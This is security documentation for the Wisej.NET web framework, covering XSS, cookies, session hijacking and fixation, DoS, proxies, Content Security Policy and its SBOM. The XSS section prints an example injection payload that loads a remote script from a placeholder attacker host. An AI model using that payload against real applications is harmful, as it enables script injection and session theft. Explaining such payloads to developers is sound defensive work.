Security
Wisej.NET is secure by design: its architecture removes several classes of web vulnerability rather than mitigating them. This document covers the common threats one by one, what the framework handles for you, what it gives you to handle yourself, and — where it applies — what no framework can handle at all.
HTML/Script Injection
A key difference between traditional HTML-based applications (ASP.NET/MVC/JSP) and Single Page Applications (SPAs) is how they handle HTML:
- Traditional apps concatenate HTML strings on the server and parse HTML requests
- SPAs (like Wisej.NET Real Time Web Applications) don't build or parse HTML strings
In Wisej.NET, DOM manipulation happens directly in the browser through Ajax JSON packets. This prevents HTML/script injection since HTML isn't used and scripts remain as text when manipulating the DOM.
Cross Site Scripting (XSS)
Cross-Site Scripting can affect Wisej.NET applications when displaying unencoded or unsanitized HTML text.
A malicious user might enter text like this in a TextBox or DataGridView cell:
<img src="x" onerror="alert('Hello')" />
<!-- Or better -->
<img src="x" onerror="e=document.createElement('script');
e.src='http://spectre.com/bad.js';
document.head.append(e)" />
If that text is displayed as HTML, the script runs in the browser of whoever views it, inside their session and their origin — so it can read or alter anything the page can, including data belonging to another user who was shown the same text.
By default, Wisej.NET encodes all text sent to the browser, displaying HTML as plain text. However:
- Setting
AllowHtmltotrueon controls (labels, grid columns, buttons, tree nodes) allows HTML execution - Using
MessageBoxorAlertBoxwith user-entered text executes HTML by default sinceAllowHtmlistrue
You can either sanitize text or disable HTML:
MessageBox.Show(badText, allowHtml:false);
Starting from Wisej.NET 3.0.10, we added a global method to process any user input, regardless of source control. Assign your method to TextUtils.ConvertToString(owner, value). Default implementation:
- C#
- VB.NET
TextUtils.ConvertToString = (owner, value) =>
{
if (value == null)
return null;
else if (value is string)
return (string)value;
else if (value is DateTime)
return ((DateTime)value).ToString("yyyy-MM-ddTHH:mm:ss.fff", CultureInfo.InvariantCulture);
else
return Convert.ToString(value);
};
TextUtils.ConvertToString =
Function(owner, value)
If value Is Nothing
Return Nothing;
Else If TypeOf value Is String
Return CType(value, String)
Else If TypeOf value Is DateTime
return CType(value, DateTime).ToString("yyyy-MM-ddTHH:mm:ss.fff", CultureInfo.InvariantCulture)
Else
Return Convert.ToString(value)
End Function
Your implementation of TextUtils.ConvertToString(owner, value) can "clean up" any user input before assignment to the control. The owner argument is the receiving component.
HttpOnly Cookies
Cookies written through JavaScript cannot set the HttpOnly flag. Earlier versions of Wisej.Web.Application.Cookies used this approach for compatibility with WebSocket connections; see the version note below for HttpOnly property support. You can also create HttpOnly cookies through the underlying ASP.NET or ASP.NET Core HttpContext, as shown in the following examples.
Starting from Wisej.NET 4 Wisej.Base.Cookie supports the HttpOnly property that was added as an experimental feature in 3.5.13.
- .NET Framework (ASP.NET)
- .NET Core (ASP.NET Core)
using System.Web;
var context = HttpContext.Current;
context.Response.Cookies.Add(new System.Web.HttpCookie("Test") {
Value = "I'm an HttpOnly cookie",
HttpOnly = true,
});
using Microsoft.AspNetCore.Http;
var context = new HttpContextAccessor().HttpContext;
context.Response.Cookies.Append(
"Test",
"I'm an HttpOnly cookie",
new CookieOptions
{
HttpOnly = true
});
To enable IHttpContextAccessor, add builder.Services.AddHttpContextAccessor(); in Startup.cs.
When WebSocket is enabled (default), you can write HttpOnly cookies only during:
- Initial
Program.Main()execution Application.ApplicationStartevent handlingApplication.ApplicationRefreshevent handling- Any time when
Application.IsWebSocketreturns false
However, all cookies set with HttpOnly remain accessible in the Application.Cookies collection.
Session Hijacking
Session hijacking affects all web applications that maintain a session, because a session has to be identified by something the client sends back on every request. Most frameworks identify it with a session cookie, and some can fall back to putting the session ID in the URL.
Wisej.NET never uses the URL in normal operation. The session ID is kept in browser storage and sent explicitly by the client on each request, in the request headers and in the message payload. Three places can hold it, in this order of preference:
sessionStorage(the default) — per tab, and cleared when the browser closes.localStorage— when thesessionStorageconfiguration option is set to"local", so a user can close the browser and come back to the session.- A cookie, used only when neither is available. Safari and iOS in private mode are the case this exists for.
Only if storage and cookies are unavailable does the client fall back to a sid parameter in the URL, rewritten in place with history.replaceState. In practice that path requires a browser with cookies explicitly disabled.
Keeping the ID out of the URL is a deliberate decision, and it removes two of the usual ways a session ID leaks:
- A URL is recorded in many places a payload is not — web server and proxy access logs, browser history, bookmarks, and the
Refererheader sent to third-party sites. A session ID in a URL is therefore liable to be written to disk, and read later, by infrastructure that has no idea it is handling a credential. Headers and request bodies are not logged this way. - The ID is not an ambient credential. A cookie is attached by the browser to every request to its origin, including one triggered from another site. A value in browser storage is not: the application's own client code reads it and attaches it deliberately, so a cross-site request cannot carry it along, and with
sessionStorageit is not shared with other tabs either.
Whoever holds a live session ID can still act as that session, so the question remains how the ID can leak. There are two very different answers, and they need to be kept apart: an attacker on the network, between the browser and the server, and an attacker inside the browser itself.
Attackers on the network
An attacker who can read the traffic — a shared Wi-Fi network, a compromised router, a hostile proxy — reads the session ID out of the requests that carry it and replays it. This is the classic man-in-the-middle (MitM) variant, and it is solved by transport encryption rather than by anything the application does with the ID.
Set secure to true in Default.json to force it. Wisej.NET then serves the application over HTTPS and upgrades the real-time channel to WSS, so the session ID is never on the wire in clear text:
{
"secure": true
}
OWASP is explicit that this is effective. Its Session Management Cheat Sheet calls an encrypted HTTPS connection for the entire web session — not only for the login request — essential, and states that doing so "does provide effective protection against an attacker intercepting or stealing session IDs through a man in the middle attack". The same passage is equally clear about what TLS does not cover: session ID prediction, brute force, client-side tampering and fixation. Those are addressed elsewhere on this page.
secure: true is the single most important security setting in a Wisej.NET deployment. Nothing else on this page substitutes for it.
Attackers inside the browser
A man-in-the-browser (MitB) attack is a different problem. Malware — a trojan, or a malicious browser extension — runs inside the browser, after TLS has been terminated and inside the origin the application itself lives in. It reads and rewrites the DOM, the JavaScript state and the request payloads as the legitimate user forms them, and it does so from the one place the server has no choice but to trust.
No web framework can protect against a man-in-the-browser attack, and Wisej.NET is no exception. The malware acts as the legitimate client: it works on the same DOM, over the same open connection, with the same credentials, from the same device and the same network as the real user. Encrypting the channel does not help, because the attacker is on the trusted side of it; validating the client does not help, because it is the client.
Securing the device is not the application's job, and not Wisej.NET's. It belongs to the operating system and to the antivirus or endpoint protection software running on it — the layers that can actually see a trojan or a hostile browser extension, and remove it. A web framework sits above that boundary: by the time a request reaches it, the endpoint has already been trusted, and no amount of server-side checking can un-trust it after the fact.
So the accepted mitigations are all outside the application: a patched operating system with current antivirus or EDR, a managed browser with a controlled extension policy, and out-of-band confirmation of high-value transactions on a second device. Do not treat any framework feature as a substitute for them.
Application-level checks
A stolen session is not always a man-in-the-browser. If the session ID and client ID leak to an attacker elsewhere — another browser, another machine, another network — the requests they send are, at the protocol level, just as indistinguishable from the user's own as a MitB's are. That case the application can do something about, because the session lives on the server and there is a server-side place to put the check.
Because Wisej.NET fires an event at the start of every request, pinning a session to the address it was created from takes a few lines. Add this in Program.Main():
Application.BeginRequest += (sender, e) =>
{
var pinned = Application.Session.ClientAddress as string;
var current = Application.UserHostAddress;
if (pinned == null)
Application.Session.ClientAddress = current;
else if (pinned != current)
Application.Exit();
};
Be precise about what that buys and what it costs:
- It catches a session used from another network, which is the realistic shape of a leaked session ID.
- It does nothing against a man-in-the-browser. That attacker is already on the user's machine, so it presents the user's own address. This is the point worth being clear about: an IP check narrows where a stolen session can be used, it does not detect malware in the browser.
- It signs out clients whose address legitimately changes — a phone moving between Wi-Fi and cellular, a roaming VPN, a corporate pool of outbound proxies. Weigh that against the threat before switching it on.
- Behind a proxy or load balancer,
Application.UserHostAddressmay be the proxy's address rather than the client's, which makes the check useless until forwarded headers are configured. See Reading the client IP behind a proxy, including why a forgedX-Forwarded-Formakes it trustworthy only behind a proxy you control.
Checks of this kind are the application's to choose, not the framework's to impose, which is why Wisej.NET exposes the request hook and the client address rather than pinning sessions itself.
What Wisej.NET does
Within that boundary — network attackers in scope, MitB out of scope — and on top of keeping the session ID out of the URL and forcing TLS, Wisej.NET adds two things.
Client validation. With validateClient enabled (the default), every request has to carry the unique client ID that the server issued to the browser the session was created for. A request that replays only the session ID is rejected and the session is not handed over.
Up to version 2.5.23 this validation used a browser fingerprint instead — a hash over browser and operating system attributes together with the client's IP address, recomputed and compared on every request. The browser fingerprint was removed in Wisej.NET 2.5.23 and replaced by the unique client ID, which is what validateClient checks today. A fingerprint built from request headers is forgeable by the only party that sends them, and it also fails for legitimate clients whenever a browser updates itself or a mobile device changes network. Any older documentation, article or support thread describing fingerprint-based hijacking protection in Wisej.NET no longer applies.
The real-time channel. When the WebSocket transport is enabled, which it is by default, the session is bound to one connection. That connection is a single TCP (or TLS) stream, established once by the HTTP upgrade handshake and kept open for the life of the session, and it is end-to-end in the strict sense: the two endpoints are the victim's browser and the server process, and frames can only be written by whoever owns one of those two sockets.
This matters for a stolen session ID. The ID appears in the handshake, not in the frames that follow, so there is nothing for an attacker to replay into an established connection — injecting a frame would mean writing into a stream whose client end is a socket on the victim's machine. And the server will not accept a second concurrent socket for a session that already has one, so an attacker who holds the ID cannot open a parallel channel alongside the victim's.
This is a property of the live connection, not an absolute guarantee. A session whose socket has closed — the user navigated away, the network dropped — is reachable again by whoever holds a valid session ID and client ID until the server expires it. The upgrade handshake itself is an ordinary HTTP request and is protected by TLS and validateClient like any other, which is the second reason secure: true matters. Without the WebSocket transport, every request stands alone and carries the session ID, so a stolen ID can be replayed for as long as the session lives.
Session Fixation
Session fixation is a form of "reverse session hijacking". The attacker creates a valid session, then "fixes" it on the victim's machine through some means.
The concern is real, but OWASP's worked examples have aged badly. The one usually quoted — http://website.kom/<script>document.cookie="sessionid=abcd";</script> — relies on a browser executing script out of a URL it was handed, which no browser has ever done. Others assume a framework that accepts a session id from the query string or from a cookie an unrelated page was allowed to write. Read them as illustrations of the shape of the attack rather than as recipes that still run.
After "fixing" the session, if the victim logs in, the attacker's session becomes authenticated. This naive attack fails with Wisej.NET: the server immediately invalidates the "fixed" session ID and assigns a new one to the victim. Rotating the ID yourself at the moment privilege changes is still worth doing — see Generate a new Session Id for Application.RefreshSessionId().
The OWASP-described session fixation attack is fully blocked by Wisej.NET server-side, making the system "secure by design" (unless "validateClient" is disabled in Default.json).
DoS Attacks
Denial-of-Service (DoS) protection is not the responsibility of any web framework, including Wisej.NET. The most effective way to defend against DoS attacks is to stop or throttle malicious traffic before it reaches the application layer—at the hardware, network infrastructure, or web server level (e.g., firewalls, WAFs, load balancers, or the hosting server such as Apache or IIS). Once a request reaches a web framework, it is already consuming server resources, making framework-level protection inherently limited.
Starting with Wisej.NET 3.5.23, the maxSessionsPerClient configuration option provides a secondary mitigation layer. It caps how many sessions may be associated with one client IP address, so a single address cannot open sessions without limit. The default is 50; set it to 0 for unlimited.
This is a cap on one address's appetite, not a rate limit. A distributed attack arrives from as many addresses as it has hosts, and each one gets its own allowance. It supplements infrastructure-level DoS protection in controlled environments; it does not replace it.
Because the count is per address, anything that puts many users behind one address shares a single allowance between them — a corporate NAT, a VPN concentrator, a proxy or load balancer. With 50 sessions to go round, a large office can exhaust the limit in normal use and lock out its own users. See the next section before enabling it in those deployments: either read the real client address through forwarded headers, or leave the option disabled and rely on infrastructure-level protection.
Reading the client IP behind a proxy
The client address matters in two places: for maxSessionsPerClient above, and wherever your own code acts on it — the session pinning under Application-level checks, audit logging, an allow-list. Both read the same value, Application.UserHostAddress.
When running behind a proxy server or load balancer, which is typically the case with ASP.NET Core deployments, that value is usually the proxy's address, not the original client's. Every user then looks like one client. You have two options:
- Read the real client address. Enable support for forwarded headers with
app.UseForwardedHeaders(), which lets Wisej.NET read X-Forwarded-For as the client IP. - Disable
maxSessionsPerClient. If the real address is not available, a per-address cap is counting the wrong thing, and infrastructure-level protection is the better place for it anyway.
X-Forwarded-For can be forged by anyone who can reach the application directly, so a client can simply claim whatever address it likes. Enable this only when the application is guaranteed to sit behind a trusted proxy or load balancer that overwrites or sanitizes incoming forwarding headers. Otherwise an address-based check becomes worse than none: it reports a value the attacker chose.
Authentication
Wisej.NET supports any .NET authentication method. Since nothing displays to users without your application creating it, you can perform any authentication before enabling resource access.
Beyond code authentication, Wisej.NET supports standard IIS authentication methods and exposes user credentials through Application.UserIdentity.
Sensitive Data Protection
Traditional HTML-based systems mix JavaScript, callbacks, postbacks, services, and API keys on the client. Potential intruders can inspect code/page/source for sensitive information.
This vulnerability increases with client-side-only SPAs (ExtJS, standalone qooxdoo, dojo). These require exposing business logic, visual logic, and access keys on the client. Any client-side code is inspectable.
With Wisej.NET, no application code reaches the client unless explicitly placed there. Everything runs securely on the server, with only property updates and events communicated between server and client.
Disabled or Hidden Controls
Wisej.NET performs server-side verification that "executable" controls triggering click events are enabled and visible. This prevents users from using browser dev-tools to activate hidden or disabled controls.
Content Security Policy
Wisej.NET supports Strict CSP policies compatible with:
- DevExpress
- Syncfusion
- Telerik
- Most component vendors
'unsafe-eval' is required. Wisej.NET runs JavaScript the server sends at run time, through eval and new Function — the same thing most libraries that generate or emit script need, and the mechanism behind client-side mixins, dynamic widget code and JavaScript handlers you attach from the server. A policy without 'unsafe-eval' will break the application. It is the one relaxation you cannot design away here; everything else below can be tightened.
The simplest CSP matches DevExpress server-side controls policy:
- Default.html
- Web.Config
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
script-src 'unsafe-inline' 'unsafe-eval' 'self';
style-src 'unsafe-inline' 'self';
img-src 'self' data:" />
</head>
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy"
value="default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval' 'self';
style-src 'unsafe-inline' 'self'; img-src 'self' data:" />
</customHeaders>
</httpProtocol>
</system.webServer>
The strictest CSP requires a random nonce. Configuration example:
'unsafe-inline' stays in the script-src list below, but a browser that understands nonces ignores it as soon as a nonce is present — that is how CSP is specified, so the nonce is what governs and the keyword is only a fallback for engines too old to know better. It does not weaken the policy. 'unsafe-eval' is not ignored this way and remains in force, which is what keeps the application working. The style-src list carries no nonce, so its 'unsafe-inline' does apply.
- Default.html
- Web.Config
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'self';
style-src 'unsafe-inline' 'self';
img-src 'self' data:" />
<script nonce='{random}' src="wisej.wx"></script>
</head>
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy"
value="default-src 'self'; script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'self';
style-src 'unsafe-inline' 'self'; img-src 'self' data:" />
</customHeaders>
</httpProtocol>
</system.webServer>
When using the random nonce you have to actually generate a random identifier, and change it every time the application is loaded in the browser. That requires the Default.html page to be produced on the server side on each request.
A nonce has to be unpredictable, not merely different each time. System.Random is a deterministic generator seeded from the clock, and a five-digit number is only about 17 bits of search space, so a nonce drawn that way can be guessed — which hands an injected script exactly the permission the policy was written to withhold. Use a cryptographic generator, as the examples below do.
You can generate the value in a server-side handler that replaces a placeholder in Default.html. Alternatively, use a dynamically generated page, such as Default.aspx or Default.cshtml (Razor).
Examples using Default.aspx and Default.cshtml:
- Default.aspx
- Default.cshtml
<%@ Page Language=C# %>
<!DOCTYPE html>
<html>
<head>
<title>WisejWebPageCSP</title>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge;IE=11" />
<meta http-equiv="Cache-Control" content="no-store" />
<script runat="server">
string nonce = NewNonce();
static string NewNonce()
{
var bytes = new byte[16];
using (var rng = System.Security.Cryptography.RandomNumberGenerator.Create())
rng.GetBytes(bytes);
return Convert.ToBase64String(bytes);
}
</script>
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
script-src 'nonce-<%=nonce%>' 'unsafe-inline' 'unsafe-eval' 'self';
style-src 'unsafe-inline' 'self';
img-src 'self' data:" />
<script nonce='<%=nonce%>' src="wisej.wx"></script>
</head>
<body>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<title>WisejWebPageCSP</title>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge;IE=11" />
<meta http-equiv="Cache-Control" content="no-store" />
@{
var bytes = new byte[16];
using (var rng = System.Security.Cryptography.RandomNumberGenerator.Create())
rng.GetBytes(bytes);
string nonce = Convert.ToBase64String(bytes);
}
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
script-src 'nonce-@nonce' 'unsafe-inline' 'unsafe-eval' 'self';
style-src 'unsafe-inline' 'self';
img-src 'self' data:" />
<script nonce='@nonce' src="wisej.wx"></script>
</head>
<body>
</body>
</html>
Generate a new Session Id
3.5.2+ Use Application.RefreshSessionId() to generate a new session id without losing the current session. Best practice: generate new session id after user authentication.
Generating a new session ID immediately invalidates the previous ID, including any captured copy, while preserving the current session.
Application.RefreshSessionId() can be called anytime, without affecting the current session.
Software Bill of Materials (SBOM)
We are publishing the Software Bill of Materials (SBOM) for Wisej.NET. By doing so, we aim to support our customers who are required to create and maintain their own SBOMs to comply with the Cyber Resilience Act or other regulatory requirements. The SBOM provides comprehensive information about the components and dependencies included in Wisej.NET, enabling organizations to achieve greater transparency, manage security risks effectively, and meet legal or policy obligations.
A “software bill of materials” (SBOM) has emerged as a key building block in software security and software supply chain risk management. An SBOM is a nested inventory, a list of ingredients that make up software components.
The European Cyber Resilience Act (CRA) — a set of rules elevating security standards for digital products in the European Union — is another significant security regulation with a prominent SBOM requirement.
The table summarizes the dependencies in Wisej.NET. Download the file below for the complete SBOM in SPDX JSON format.
| Name | Version | License |
|---|---|---|
| WinForms | 4.8.0 | MIT |
| WinForms | 8.0.0 | MIT |
| Qooxdoo | 5.1.0 | LGPL, EPL, MIT |
| Pako | 1.0.1 | MIT |
| EmbedIO | 3.5.2 | MIT |
Download our SBOM in SPDX/JSON format If you need a tool to generate your own SBOM, Microsoft has open-sourced their SBOM generation tool.
DeepSeek AI Security Challenge
We gave DeepSeek complete access to the Wisej.NET framework source code and the target application's source code, then challenged it to access privileged information without authorization.